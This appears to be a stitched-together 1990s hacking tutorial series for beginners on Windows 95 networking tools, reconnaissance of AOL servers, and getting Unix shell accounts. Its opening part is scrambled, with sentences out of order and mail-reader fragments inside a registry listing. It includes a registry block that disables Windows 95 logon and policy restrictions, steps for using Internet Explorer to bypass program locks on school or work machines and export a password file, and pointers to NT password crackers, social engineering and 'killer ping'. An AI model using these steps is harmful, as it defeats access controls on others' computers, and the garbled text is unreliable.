and decided to practice on how your desk top looks. Also. Internet Explorer will pop up with a warning that "Content Advisor configuration information is missing. and their backups. Step nine.1] @="PasswordCtl Object" [HKEY_CLASSES_ROOT\htmlctl. may disappear. HKEY_LOCAL_MACHINE and HKEY_USERS.PasswordCtl\CurVer] @="htmlctl. Step seven: It isn't real obvious which password goes to what program. Someone may have tried to tamper with it. I trashed my computer! All is not lost.1\CLSID] @="{EE230860-5A5F-11CF-8B11-00AA00C00903}" The stuff inside the brackets in this last line is an encrypted password controlling access to a program or features of a program such as the net censorship feature of Internet Explorer. If your desk top looks different. then compare it with the unencrypted version on file. the Recycle bin still works after trashing your Registry files. just kill those files and shut it down. Your operating system will immediately commit suicide. worse yet.

the only way to keep you from breaking into it is to encrypt its files with a strong encryption algorithm. instead of having you edit the Registry. You also may have gotten a taste of how easy it is to make a huge mess when messing with the Registry. or else that they will voluntarily choose to fill their minds with worthwhile material. In fact. didn't I just tell you to delete those four files and reinstall Win 95? It's because if you are even halfway serious about hacking. It doesn't matter what kind of computer it is. Any Win 95 box on a network is vulnerable. unless you encrypt its information. you need to learn how to edit the Registry of a Win NT computer.So why. Warning: results may vary and you may get into all sorts of trouble whether you do this successfully or unsuccessfully. there is no technological substitute for bringing up your kids to know right from wrong. Now you don't have to take my work for it.unless they are encrypted with a strong algorithm such as RSA. how about that little key on your computer? Sorry. So what is the bottom line on Windows 95 security? Is there any way to set up a Win 95 box so no one can break into it? Hey. We haven't gone into all the ways to break into a Win 95 box remotely. And the ways to evade Web censor programs are so many. ****************************** Evil Genius tip: Want to trash most of the policies can be invoked on a workstation running Windows 95? Paste these into the appropriate locations in the Registry. but there are plenty of ways. You just got a little taste of what it will be like here. [HKEY_LOCAL_MACHINE\Network\Logon] [HKEY_LOCAL_MACHINE\Network\Logon] "MustBeValidated"=dword:00000000 "username"="ByteMe" "UserProfiles"=dword:00000000 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies] "DisablePwdCaching"=dword:00000000 "HideSharePwds"=dword:00000000 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] "NoDrives"=dword:00000000 "NoClose"=dword:00000000 "NoDesktop"=dword:00000000 "NoFind"=dword:00000000 "NoNetHood"=dword:00000000 "NoRun"=dword:00000000 "NoSaveSettings"=dword:00000000 "NoRun"=dword:00000000 "NoSaveSettings"=dword:00000000 "NoSetFolders"=dword:00000000 "NoSetTaskbar"=dword:00000000 . if you have physical access to *ANY* computer. that won't do much good. Sorry. done on the safety of your home computer. Sorry. the only way you can make them work is to either hope your kids stay dumb. either. files on any computer can one way or another be read by someone with physical access to it -. It's easy to disconnect so you can still boot the box. Win 95 is totally vulnerable. you know first hand how disastrous a clumsy hacker can be when messing in someone else's computer systems.

x. 95 and NT ____________________________________________________________ This lesson will tell you how. you can do some fairly serious Internet hacking -. armed with even the lamest of on-line services such as America Online and the Windows 95 operating system."NoAddPrinter"=dword:00000000 "NoDeletePrinter"=dword:00000000 "NoPrinterTabs"=dword:00000000 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network] "NoNetSetup"=dword:00000000 "NoNetSetupIDPage"=dword:00000000 "NoNetSetupSecurityPage"=dword:00000000 "NoEntireNetwork"=dword:00000000 "NoFileSharingControl"=dword:00000000 "NoPrintSharingControl"=dword:00000000 "NoWorkgroupContents"=dword:00000000 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] "NoAdminPage"=dword:00000000 "NoConfigPage"=dword:00000000 "NoDevMgrPage"=dword:00000000 "NoDispAppearancePage"=dword:00000000 "NoDispBackgroundPage"=dword:00000000 "NoDispCPL"=dword:00000000 "NoDispScrSavPage"=dword:00000000 "NoDispSettingsPage"=dword:00000000 "NoFileSysPage"=dword:00000000 "NoProfilePage"=dword:00000000 "NoPwdPage"=dword:00000000 "NoSecCPL"=dword:00000000 "NoVirtMemPage"=dword:00000000 "DisableRegistryTools"=dword:00000000 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp [END of message text] [Already at end of message] PINE 3. Section 3. Hacking from Windows 3.91 MESSAGE TEXT Folder: INBOX Message 178 of 433 END [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp ] "Disabled"=dword:00000000 "NoRealMode"=dword:00000000 GUIDE TO (mostly) HARMLESS HACKING Beginners' Series #2.today! .

and dig. · Telnet to computers that will let you use the invaluable hacker tools of whois. . nslookup. April 1996. Since this is a beginners' lesson. So to get going with today's lesson.In this lesson we will learn how to: · Use secret Windows 95 DOS commands to track down and port surf computers used by famous on-line service providers.) So if you want to keep up your hacking skills. none of which are documented in either the standard Windows or DOS help features. One of these days we're going to be sniggering at all those Unix-only hackers. yes! The secret to hacking from AOL/Win 95 -. · Download hacker tools such as port scanners and password crackers designed for use with Windows. bring up your DOS window by clicking Start. you eventually will have to learn Windows. I have long shared their opinion. then Programs. even poor. you're going to have to get wise to Windows. (Mark Winther. Yes. 11.0 offers several Internet tools. pitiful Windows 95 now can take advantage of lots of free hacker tools that give it much of the power of Unix. with Win 95 you can practice the Registry hacking that is central to working your will on Win NT servers and the networks they administer. Besides. I'll bet already they have quit reading this and are furiously emailing me flames and making phun of me in 2600 meetings. An IDC report projects that the Unix-based Web server market share will fall from the 65% of 1995 to only 25% by the year 2000. This is because Windows NT is fast taking over the Internet from Unix. Furthermore. Windows hacking? Pooh! Tell seasoned hackers that you use Windows and they will laugh at you. I can hear jericho and Rogue Agent and all the other Super Duper hackers on this list laughing. But you're getting the chance to learn these hidden features today. "The Global Market for Public and Private Internet Server Software. Can I still learn how to hack?" Yes. Some of your best tools for probing and manipulating Windows networks are found only on Windows NT." IDC #11202. then MS-DOS. They'll tell you to go away and don't come back until you're armed with a shell account or some sort of Unix on your PC. The Windows NT share is projected to grow to 32%. Then minimize your Web browser and prepare to hack! Next. if you want to become a serious hacker.0). Actually. In fact.or from any on-line service that gives you access to the World Wide Web -. · Use Internet Explorer to evade restrictions on what programs you can run on your school or work computers. DOS 7. Shoot. most of the time hacking from Windoze is like using a 1969 Volkswagon to race against a dragster using one of VP Racing's high-tech fuels. But there actually is a good reason to learn to hack from Windows. 10. This weak future for Unix Web servers is reinforced by an IDC report reporting that market share of all Unix systems is now falling at a compound annual rate of decline of 17% for the foreseeable future.is hidden in Win 95's MS-DOS (DOS 7. use AOL or whatever lame on-line service you may have and make the kind of connection you use to get on the Web (this will be a PPP or SLIP connection). yes. while Windows NT is growing in market share by 20% per year. we'll go straight to the Big Question: "All I got is AOL and a Win 95 box.

not scare your neighbors) go to the DOS prompt C:\WINDOWS> and give the command "telnet. well." I recommend picking VT100 because. I just tried this out on a neighbor. then click Remote System. . Honest. Almost any other on-line service will be easier.For best hacking I've found it easier to use DOS in a window with a task bar which allows me to cut and paste commands and easily switch between Windows and DOS programs. Then if you are missing the task bar. Then at this InterNIC prompt. If your DOS comes up as a full screen.internic. This is a phun thing to show your friends who don't have a clue because it can scare the heck out them." Now I'm picking AOL for this lesson because it is really hard to hack. Click on Connect. we'll try out logging on to a strange computer somewhere. so I like to call telnet from DOS." This brings up a telnet screen. route. just because I like it best. .COM 703/453-4255 (FAX) 703/453-4102 Technical Contact. But while hacking you may need the other utilities that can only be used from DOS.com Connecting to the rs Database . hold down the Alt key while hitting enter. The first thing you can do to frighten your neighbors and impress your friends is a "whois. With the DOS telnet you can actually port surf almost as well as from a Unix telnet program.net . But there are several tricks you need to learn in order to make this work. if the address is "luser@aol. and it will go into a window." type in "aol. arp. Connected to the rs Database America Online (AOL-DOM) 12100 Sunrise Valley Drive Reston.com. David B (DBO3) PMDAtropos@AOL." Click on Connect and you will soon get a prompt that looks like this: [vt100]InterNIC> Then ask your friend or neighbor his or her email address. ftp. You can also access the telnet program directly from Windows. click the system menu on the left side of the DOS window caption and select Toolbar. For example. .COM Administrative Contact: O'Donnell. Virginia 22091 USA Domain Name: AOL. Telnet is the biggie. He got so worried that when he got home he called my husband and begged him to keep me from hacking his work computer! To do this (I mean log on to a strange computer." Leave in "telnet" for the port selection. and tracert. netstat. First. ping. type in the last two parts of your friend's email address. This brings up a box that asks you for "Host Name. For AOL we get the answer: [vt100] InterNIC > whois aol. Zone Contact: America Online (AOL-NOC) trouble@aol. nbtstat. Now you have the option of eight TCP/IP utilities to play with: telnet." Type "whois. Below that is a box for "TermType.net" into this box. . Below that it asks for "Port" and has the default value of "telnet.com. .

If we want to hack AOL. Domain servers in listed order: DNS-01. Port 80 is for the Web.42] over a maximum of 30 hops: .COM. "Aol.199.ANS.ddn. hopping from one computer to another.199. Port 25 is used to send email. So it's a safe bet this computer is behind the AOL firewall. Here's what we get: C:\WINDOWS>tracert 152.163. ********************************* ********************************* Evil genius tip: Using your Win 95 and an Internet connection." Either way we'll get the same result. Once connected type "whois DNS-01.AOL. There are thousands of designated ports. but any particular computer may be running only three or four ports. and the domain servers are the computers that hold information that tells the rest of the Internet how to send messages to AOL computers and email addresses. give your query.AOL. Joe (JB4302) BarrettJG@AOL.163.163.mil.42.mil is open to the public on many of its ports. and modem. port 43. For example. Telnet to your target computer's port 43 and if it lets you get on it.28 These last three lines give the names of some computers that work for America Online (AOL).703-453-5862 Billing Contact: Barrett.they are a mother lode of information that is good for hacking. this only works on computers that are running the whois service on port 43.nic.com" is the domain name for AOL.163. as well. ********************************** Newbie note: port surfing means to attempt to access a computer through several different ports. ********************************** So what do we do next? We close the telnet program and go back to the DOS window. you can run a whois query from many other computers. A port is any way you get information into or out of a computer." Or we could give the command "tracert DNS01. ********************************* Newbie note: We just got info on three "domain name servers" for AOL.COM 703-453-4160 (FAX) 703-453-4001 Record last updated on 13-Mar-97. On your home computer your ports include the monitor. At the DOS prompt we give the command "tracert 152.199.ddn. port 23 is the one you usually use to log into a shell account.COM. Warning: show this trick to your neighbors and they will really be terrified. too -.199.COM but couldn't find any ports open.COM DNS-AOL.com [152.210. They just saw you accessing a US military computer! But it's OK.83. these are a good place to start.56 198. However. keyboard.NET 152. nic.AOL.aol.COM DNS-02.AOL. Example: telnet to nic.ddn.199. as it travels from my computer to this AOL domain server computer. Record created on 22-Jun-95.163.AOL. ********************************* Next I tried a little port surfing on DNS-01.mil and its ftp site. This command will trace the route that a message takes. Check out its Web site www.42 Tracing route to dns-01." or whatever name you want to check out.42 152.

The "*" means the trip was taking too long so tracert said "forget it.St-Louis.t3.189 * * * Request timed out. "Destination net unreachable" probably means tracert hit a firewall.net [140.net.61.65.t64-0.ans.t3. it's a good bet this is a computer that directly feeds stuff into AOL.134.78. then in a form -.199. * * * Request timed out.net [140.ans.t60-0.t80-1. Since AOL is headquartered in Reston.ans.net [140.65.223.cnss116.t3." After the timing info comes the name of the computer the message reached. Also.33] 271 ms * 201 ms enss365. it takes to send a message to and from that computer.103. Note that both tracerts ended at the same computer named h12.199. h14.t60-0. and names that end with "ans.cnss116.t80-1.3] 325 ms h4-0.1 2 3 4 5 6 7 8 9 10 11 12 13 * * * Request timed out.ans.121.33] 247 ms enss365.56] over a maximum of 30 hops: 1 2 3 4 5 45] 6 1] 7 8 9 10 11 12 13 * * * 142 ms 140 ms 246 ms 194 ms 154 ms 185 ms 475 ms 278 ms Request timed out.201 241 ms glory-cyberport.Houston.201 375 ms 299 ms 196 ms glory-cyberport.134.t3.net [140.net [140.9] 210 ms 212 ms 248 ms h14.103.nm.t112-0. * * * Request timed out.ans.134.22 162 ms 217 ms 199 ms h14. 207.St-Louis. that "t3" in each name suggests these computers are routers on a T3 communications backbone for the Internet.t3.t3.t3. in thousandths of a second.74.ans.Reston. 181 ms 187 ms 290 ms f2.ans.78.223.t3.Houston.numbers -.25.56 Tracing route to dns-02.223.net. The "150 ms" stuff is how long.net [204.net all have numerical names beginning with 140.222.112.aol.134. first in a form that is easy for a human to remember.121. 137 ms 204.14] 316 ms * 298 ms h12.65.74.net [192.65.net .134.t3.t3.Reston. 150 ms 144 ms 138 ms 204.1.t3.com [152.25.223.t60-0.nm.3] 229 ms 216 ms 213 ms h4-0. Since a message can take a different length of time every time you send it.61.that a computer prefers.westnet.25.ans.163.9] 178 ms 212 ms 196 ms h14.189 reports: Destination net unreachable.ans." So it's a good guess that they all belong to the same company.1. Virginia.Reston.Houston. 207.t64-0.112.t3.221] 248 ms 269 ms 257 ms h14.ans.net [140.14] 207 ms * 208 ms h12.9] 338 ms 518 ms 381 ms 207. Next let's check out that final AOL domain server: . But we notice that h12.St-Louis.45] 223 ms 236 ms 229 ms f2.westnet.Reston.Albuquerque.org [129.ans.net [204.net and Albuquerque.t3.t112-0. tracert times the trip three times.t64-0.189 reports: Destination net unreachable.ans.t3.9] 315 ms 333 ms 331 ms 207. Let's try the second AOL domain server.134. What the heck is all this stuff? The number to the left is the number of computers the route has been traced through.163.net [192. C:\WINDOWS>tracert 152.Albuquerque.78.net [140.ans.25.t80-1.org [129.nm.222.Albuquerque. h14.Albuquerque.134.223.ans.net.t3.189 * * * Request timed out.78.nm.ans.134.223.t60-0.net [140.

Hey.t3. in some situations everything you type in will be doubled. heh.net [198.201 181 ms glory-cyberport. the sysadmin will say "Whoa.net. It will send back to you the day of the week. Now what can we do next to get luser@aol. For some reason.ans. so this last nameserver is using the same network as the others.223.Reston. heh.65.org [129.t112-0. then Remote System.134.Albuquerque." You must do this.28 Tracing route to dns-aol.t3. Below it. I try some port surfing without success. with at least one open port.103. dnsaol. I'm under heavy attack by hackers!!! There must be some evil exploit for the daytime service! I'm going to close this port pronto!" Then you'll all email me complaining the hack doesn't work.t3.83. However. for Port choose Daytime.com really wondering if you could actually break into his account? We're going to do some port surfing on this last AOL domain name server! But to do this we need to change our telnet settings a bit. 135 ms 204. how did you get something out of that computer? ****************************** Clueless newbie alert: If everyone who reads this telnets to the daytime port of this computer.net [140.210.ans.t64-0.ans.net [204.83. or else you won't be able to see everything that you get while port surfing. then Preferences. Now click on Connect.ans. Aha! We now know that dns-aol.C:\WINDOWS>tracert 198. some of the messages a remote computer sends to you won't show up on your Win 95 telnet screen unless you choose the local echo option.net is exposed to the world. it just means your typing is getting echoed back at various intervals.3] 177 ms h4-0. This doesn't mean you mistyped.28] Trace complete.33] 189 ms enss365. Louis and Reston.28] over a maximum of 30 hops: 1 2 3 4 5 45] 6 1] 7 8 9 * * * 138 ms 145 ms 212 ms 191 ms 166 ms 228 ms 148 ms 138 ms Request timed out.net addresses with T3s.Houston.83.cnss116.Atlanta.nm. Please. Click on Terminal.ans. Then enter the name of that last AOL domain server. if you type in "hello" the telnet screen may show you "heh lelllo o. In the preferences box you need to check "Local echo.net [192. and it looks like it's outside the firewall! But look at how the tracert took a different path this time.210.t3.nm. date and time of day in its time zone.121.9] 238 ms 234 ms 263 ms h14.ans. we finally got all the way through to something we can be pretty certain is an AOL box.westnet.1.net. ****************************** Now let's check out that Reston computer. going through Atlanta instead of St.Albuquerque.22 298 ms 279 ms 277 ms h14.net [198.t3.ans.net [140. But we are still looking at ans. I select Remote Host again and enter the name h12.74. And now your friend is wondering. It is definitely a prospect for further port surfing.222.t600.78.223.65.134.ans. try this hack out on different computers and don't all beat up on AOL.78.net [140. be warned. This is a seriously locked down box! What do we do next? . 284 ms 296 ms 178 ms f2. For example.18] 301 ms 257 ms 250 ms dns-aol.210.112.t104-0.ans.

Find the gory details in the GTMHH Vol.1. Ittai (IH4) ittai@ANS. . But that wouldn't be nice and there is nothing legal you can do with ans. We ask about this ans.net Connecting to the rs Database . Record created on 27-Sep-90. without telling you anything about the computers between yours and the one you ping. you get the idea of how you can hack around gathering info that leads to the computer that handles anyone's email.NET NIS.NET (914) 789-5337 Technical Contact: ANS Network Operations Center (ANS-NOC) noc@ans.63. Other TCP/IP commands hidden in DOS include: · Arp IP-to-physical address translation tables . but all it does is time how long a message takes from one computer to another.net 1-800-456-6300 Zone Contact: ANS Hostmaster (AH-ORG) hostmaster@ANS.2 Number 3.ANS. should I tell you about killer ping? It's a good way to lose your job and end up in jail.NET 192. NY 10523 Domain Name: ANS. So I'm not telling you how to social engineer those passwords. . Fortunately most systems administrators have patched things nowadays so that killer ping won't work. Domain servers in listed order: NS.NET (800)456-6300 fax: (914)789-5310 Record last updated on 03-Jan-97.2 Now if you wanted to be a really evil hacker you could call that 800 number and try to social engineer a password out of somebody who works for this network. Connected to the rs Database ANS CO+RE Systems. .So first we remove that "local echo" feature.net passwords. which is kept in one of our archives listed at the end of this lesson.. So what else can you do with your on-line connection and Win 95? Well.NET Administrative Contact: Hershman.net outfit that offers links to AOL: [vt100] InterNIC > whois ans. Inc..internic. . don't test it without your sysadmin's approval! Then there's ordinary ping. It's sort of like tracert. (ANS-DOM) 100 Clearbrook Road Elmsford.225. Anyhow.103.100 147. You do it from your Windows DOS prompt. also done from DOS. then we telnet back to whois. But just in case your ISP or LAN at work or school isn't protected.ANS. .

So you can be ornery. Since these are semi-secret commands. · For arp. Quicken) transfer your life savings to someone in Afghanistan.htm. you can still use it to hack your own computer. Yes. But there are help files hidden away for these commands. · Telnet has a help option on the tool bar. guess what? http://home. ********************************** You can go to jail warning: If you use NTRecover to break into someone else's system. It is reputed to work 100% of the time. But if you're aren't brave enough to run Internet Explorer to surf the Web.super to use on your own ISP · Netstat Similar to Nbstat · Route Controls router tables -. ********************************** How would you like to trick your friends into thinking their NT box has crashed when it really hasn't? This prank program can be downloaded from http://www. even though I usually have one or two Unix shell accounts plus Walnut Creek Slackware on my home computer. Unfortunately. You see. Now suppose you are at the point where you want to do serious hacking that requires commands other than these we just covered. Get both NTLocksmith and NTRecover -. I still like to hack from Windows. an add-on program to NTRecover that allows for the changing of passwords on systems where the administrative password has been lost. from Internet Explorer you can run any program on your own computer. this program is even better for letting other hackers break into your home computer and do stuff like make your home banking program (e. Internet Explorer is really an alternate Windows shell which operates much like the Program Manager and Windows Explorer that come with the Win 94 and Win NT operating systems. or other computers on your LAN. heck. you are just asking to get busted. So what is your next option for doing serious hacking from Windows? How would you like to crack Win NT server passwords? Download the free Win 95 program NTLocksmith. . ********************************* You can get punched in the nose warning: need I say more? ********************************* But by far the deadliest hacking tool that runs on Windows can be downloaded from. This one is really lame. too. Get a shareware Ftp program from one of the download sites listed below. Or any program to which you have access on your LAN.router hacking is considered extra elite. · Nbtstat Displays current network info -. nbtstat.ntinternals.osr.g.and lots more free hacker tools -.com/insider/insdrcod.from http://www. but you don't want to use Unix. you can't get any details on how to use them from the DOS help menu. Don't use it.· Ftp File transfer protocol.com That deadly program is Internet Explorer 3. This is because I'm ornery.microsoft. Shame on you! But. · For netstat you have to give the command "netstat ?" to get help.0. I haven't been able to figure out a trick to get help for the ftp command. ping and route.com. to get help just type in the command and hit enter.

Kill the program's attempt to establish an Internet connection -. which can be found at http://www.we don't want to do anything crazy.net http://hertz. check to see if it offers Internet Explorer. So how can you use Internet Explorer as a hacking tool? One way is if you are using a computer that restricts your ability to run other programs on your computer or LAN.netcop.ntinternals.com ftp://ftp. Next cool hack: try automated port surfing from Windows! Since there are thousands of possible ports that may be open on any computer. By contrast.ilf.com/. They also are much safer to use.com/siliconvalley/park/2613/links. instead type in c:. Next close all that stuff and get back to Internet Explorer. Next time you get frustrated at your school or library computer. Now suppose you want to be able to access the NTFS file system that Windows NT uses from a Win 95 or even DOS platform? This can be useful if you are wanting to use Win 95 as a platform to hack an NT system.alpworld. the ability to control the Registry of a server is the key to controlling the network it serves. If it does.com/~cliffmcc . so you'll enjoy exploring dozens more of these nifty programs yourself. Export the password file (it's in HKEY_CLASSES_ROOT).cdrom.eskimo.*********************************** Newbie note: A shell is a program that mediates between you and the operating system.danworld.com/ntfsdos. Following is a list of sites where you can download lots of free and more or less harmless programs that will help you in your hacker career: ftp://ftp. do we? Then in the space where you would normally type in the URL you want to surf. Show this to your next door neighbor and tell her that you're going to use Internet Explorer to surf her password files. While C: is a common drive on your home computer.com/nettools.html http://www. Remember. Open it in Word Pad. on a LAN you might get results by putting in R: or Z: or any other letter of the alphabet. It would take megabytes to write even one sentence about each and every one of them.html http://www. we are hardly beginning to explore all the wonderful Windows hacking tools out there.coast. The big deal about Internet Explorer being a Windows shell is that Microsoft never told anyone that it was in fact a shell. The security problems that are plaguing Internet Explorer are mostly a consequence of it turning out to be a shell. Whoa. it could take days to fully explore even just one computer by hand.njit." All of a sudden MSPaint is running. A good answer to this problem is the NetCop automated port surfer. Now for fun. OK. run it and try entering disk drive names.html http://www.com/~nwps/index.geocities.exe to start it up.net/Toast/ http://www. bring it up just like you would if you were going to surf the Web. Look familiar? It's the same stuff your Windows Explorer would show you. http://www. only kidding here. In a few hours the Secret Service will be fighting with the FBI on your front lawn over who gets to try to bust you. *********************************** To use Internet Explorer as a Windows shell. Hey. Click on the Windows folder.islandnet.com/infinity/void-neo. Now paint your friends who are watching this hack very surprised. the Netscape and Mosaic Web browsers are not shells. then click on Regedit.html http://www.html http://www. click "Program Files" then click "Accessories" then click "MSPaint.htm offers a program that allows Win 95 and DOS to recognize and mount NTFS drives for transparent access. But you're a hacker.edu/%7ebxg3442/temp. look at all those file folders that come up on the screen.

well. You have developed a burning desire to become one of those Unix wizards yourself. You keep on seeing their hairy exploit programs and almost every one of them requires the Unix operating system." .net/cwsapps/cwsa.net/%7emiker/hack. The problem is that you used to be able to simply phone an ISP. It also is a great stepping stone to the day when you will be running some form of Unix on your home computer.trytel.com/apps/ http://www2. But nowadays everybody and his brother are on the Internet. you'll run into something like this: ISP guy: "You want a shell account? What for?" Hacker dude: "Um. Now your friends and neighbors are terrified and impressed.net http://www. you're ready for the next step.com http://www. the average Internet consumer wants a mere PPP (point to point) connection account. you have a full-color animated Mozilla destroying New York City. To get the pretty pictures of today's Web. SHELL ACCOUNT!!!! ***************************************************** Newbie note: A shell account allows you to use your home computer as a terminal on which you can give commands to a computer running Unix.tucows." and they would give it to you just like that. But in your heart of hearts you know Windows is scorned by elite hackers. and email.windows95. Unix is the most powerful operating system on the planet.com/hack/ http://www.html http://www.supernet.southwind. ***************************************************** Once upon a time the most common way to get on the Internet was through a Unix shell account. instead of that boring corporate logo. Yes. I like Unix. say "I'd like a shell account.http://www.html GUIDE TO (mostly) HARMLESS HACKING Beginners' Series #3 Part 1 How to Get a *Good* Shell Account In this Guide you will learn how to: · tell whether you may already have a Unix shell account · get a shell account · log on to your shell account ____________________________________________________________ You've fixed up your Windows box to boot up with a lurid hacker logo." When you run Netscape or Internet Explorer. You're ready for a shell account. But nowadays. The "shell" is the program that translates your keystrokes into Unix commands. You realize that when it comes to messing with computer networks. With the right shell account you can enjoy the use of a far more powerful workstation than you could ever dream of affording to own yourself. You've renamed "Recycle Bin" "Hidden Haxor Secrets. They wouldn't know a Unix command if it hit them in the snoot. Almost all these swarms of surfers want just two things: the Web. So nowadays almost the only people who want shell accounts are us wannabe hackers.simtel.net/simtel. especially if you sound like a teenage male.

1) Find your Telnet program and make a shortcut to it on your desktop. then under it click "Remote system. There are two programs with Windows 95 that will do this.com. but make sure that when you close the dialog box that the Telnet program window is entirely visible on the screen. First we will show you how to use the Win 95 Telnet program because you already have it and it will always work." then "fonts. Start up whatever program you use to access the Internet." "regular" and 8 point size. · One way is to click Start. you can pick other fonts. OK. · Under "port" in this box. So how do you get a shell account? Actually. Now try step three. so I suggest that you use it only if you can't get the Hyperterminal program to work. then Windows Explorer. · This will bring up a menu that includes the option "create shortcut. Once you are connected. It may look something like this: Welcome to Boring Internet Services. then Programs. · Then click Tools. then Find." · Then click the Connect button and wait to see what happens." · Ask it to search for "Telnet." in this box. no matter what." then "preferences. it's possible you may already have one and not know it. Ltd. type "ISP. from anywhere in the world. huh? You're a hacker. On the toolbar click "terminal." Now if you have a shell account you should next get a message asking you to login.com S9 . in this case "boring.login: cmeinel Password: . aren't you!" Slam. then "Files or Folders. Now why would there be options that make Telnet impossible to use? Ask Microsoft. minimize the program. · Under "host name" in this box type in the last two parts of your email address. if your email address is jane_doe@boring." · It will show a file labeled C:\windows\telnet (instead of C:\ it may have another drive). Right click on this file.com" for host name." This brings up another dialog box. choose "VT100." Choose "Courier New. · Close Windows Explorer. as well as many other programs." Click on "create shortcut" and then drag the shortcut to the desktop and drop it. first resize it so it doesn't cover the entire desktop. OK. leave it the way it is. how do you tell whether you may already have a shell account? Then. we'll explore the many ways you can get one. How Do I Know Whether I Already Have a Shell Account? First you need to get a program running that will connect you to a shell account. there are two ways to connect to the Internet. You do this because if you have too big a font.ISP."Like Unix. So first we will answer the question. some of which are excellent and free. try entering the last three parts of your email address as the host. · When Explorer is running. But if it fails.ISP. Boring. · If the connection fails. · Now go back to the task bar to click Connect. The easy way is to skip to step three. 3) Bring up your Telnet program by double clicking on the shortcut you just made. the Telnet program is shown on the screen so big that the cursor from your shell program can end up being hidden off the screen. For example. ISP guy hangs up on you. But it's a really limited program. if you are certain you don't have one. · First you need to configure Telnet so it actually is usable." · Under "terminal type. reading "telnet. 2) Depending on how your system is configured.com. go back to this step.

com [ ESCAPE.net. for example "logon.kitty. (M) M) MAIL Escape World Wide and Local Post Office (M) F) HOME Your Home Directory (Where all your files end up) C) CONFIG Config your user and system options (M) S) SHELL The Shell (Unix Environment) [TCSH] X) LOGOUT Leave System BACK MAIN HOME MBOX ITALK LOGOUT . MAIN Escape Main Menu ----[05:45PM]----------------------------------------------------==> H) HELP Help & Tips for the Escape Interface.1 (escape. But instead of something this simple you may get something like: BSDI BSD/OS 2. in the case of Boring Internet Services you have a Unix shell prompt on your screen.com) (ttyrf) login: galfina Password: Last login: Thu Apr 10 16:11:37 from fubar. The important thing here.COM ] __________________________________________________________________ PLEASE NOTE: Multiple Logins and Simultaneous Dialups From Different Locations Are _NOT_ Permitted at Escape Internet Access.Linux 2. Upgrades. If is asked for anything else.net ___________________ ______ ______________ ___ / ___/ ___/ \/ \/ __ / ___/ _____ / ___/\__ / /__/ / / /___/ ___/ _______ / / / / / / / / / / / / _________ \_____/\_____/\_____/\__/___/\_/ \_____/ . RETURN for vt100. (M) I) INTERNET Internet Access & Resources (M) U) USENETM Usenet Conferences (Internet Distribution) (M) L) LTALK Escape Local Communications Center (M) B) BULLETINS Information on Escape. coming events. is that the computer used the word "login" to get you started. Last login: Thu Apr 10 14:02:00 on ttyp5 from pm20. sleepy:~$ If you get something like this you are in definite luck. As soon as you login." this is not a shell account. Erase is backspace.0. ? for list: Setting terminal type to vt100. however.0. __________________________________________________________________ Enter your terminal type.

Clicking on it will bring up a window with a bunch of icons. then Accessories. Instead of a PPP connection we will do a simple phone dialup. Jericho recommends Ewan. But the good side of this picture is that the problem may go away the next time you use Hyperterminal to connect to your ISP. and Bitcom. find the program Hyperteminal and make a shortcut to your desktop.exe. let's say you have logged into your ISP with your favorite program. It may be that they just want to make it really. I like the Hyperterminal program much better than Win 95 Telnet. like Telnet." 2) This brings up a dialog box called "New Connection. which. you have a shell account. But it is likely that they won't have a clue on what causes their end of things to try to set up a PPP session with your Hyperterminal connection. Ewan is free. So if you can get this one to work. If you don't get something obvious like this. There are a number of other terminal programs that are really good for connecting to your shell account. Here's how to use the Hyperterminal program. give the . 1) First. At what you hope is your shell prompt. Click on the one labeled "hyperterminal. I've found it often helps to wait a few days and try again. Just click Start. So if you dial again you may get a login sequence. OK. Note that in this case you are making a direct phone call to your shell account rather than trying to reach it through a PPP connection. you will probably find the word "shell" somewhere on the menu." Enter the name of your local dialup. Quarterdeck Internet Suite. Just enter "S" and you're in. But if all goes well. But perhaps it still isn't clear whether you have a shell account. That is the kind of connection you need in order to get pretty pictures on the Web. then Programs. Fortunately there are many other ways to check whether you have a shell account. there may be all sorts of different menus. if so. This one is easy to find. really hard for you to find your shell account. You'll find Hyperterminal on the accessories menu. Of course you can complain to tech support at your ISP. Call tech support and ask whether you have a shell account and.----[Mesg: Y]------------[ TAB key toggles menus ]-------[Connected: 0:00]--CMD> In this case you aren't in a shell yet. This requires a different kind of connection. They include Qmodem. try it out for awhile. But if you have a shell account. Now depending on the ISP you try out. the same sort of connection you use to get on most computer bulletin board systems (BBS). you may have to do the single most humiliating thing a wannabe hacker will ever do. In fact. 4) Use Hyperterminal to dial your ISP. how to login. What is happening is your ISP is trying to set up a PPP connection with Hyperterminal. except for the PPP attempt problem. Now personally I don't care for the Win 95 Telnet program. and has many more features than either Hyperterminal or Win 95 Telnet. 3) Make a shortcut to your desktop. you will be able to log in. So hooray. Sigh. too. comes free with the Windows 95 operating system. Now when you dial your ISP from Hyperterminal you might get a bunch of really weird garbage scrolling down your screen. See if you like it. But Hyperterminal doesn't understand PPP. but you can see an option on the menu to get to a shell. Unfortunately I've have not been able to figure out why this happens sometimes or how to stop it. You may download it from jericho's ftp site at sekurity. you are in luck. a telnet program which also runs on Windows 95. all designed to keep the user from having to ever stumble across the shell itself. Here's your next test.org in the /utils directory. then in the next dialog box enter the phone dialup number of your ISP. But don't give up.

Xmodmap.Xresources 2 galfina user 512 Apr 22 17:36 www/ This is the listing of the files and directories of your home directory. while everyone else may only execute. Usually you have to give the man command in the form of "man <command>" where <command> is the name of the Unix command you want to study. in galfina's directory the subdirectory "www/" is something you may read. OFF): . that "w" in the third place from last would mean anyone with an account from outside your ISP can hack your Web page! ****************************************************** Another command that will tell you whether you have a shell account is "man. third and fourth place from the left are the permissions that you have as a user. For example. you should get something like this: > ls -alF total 87 drwx--x--x drwxr-xr-x -rw-r--r--rw-r--r--rw-r--r--rw-r--r-drwx--x--x etc." If you have a real. "execute" has nothing to do with murdering files. Your shell account may give you a different set of directories and files than this (which is only a partial listing). write and execute. "r" = read permission./ 380 root wheel 6656 Apr 22 18:15 . and "x" = execute permission (no. This is the directory where you can put your Web page. If you were to someday discover your permissions looking like: drwx--xrwx newbie user 512 Apr 22 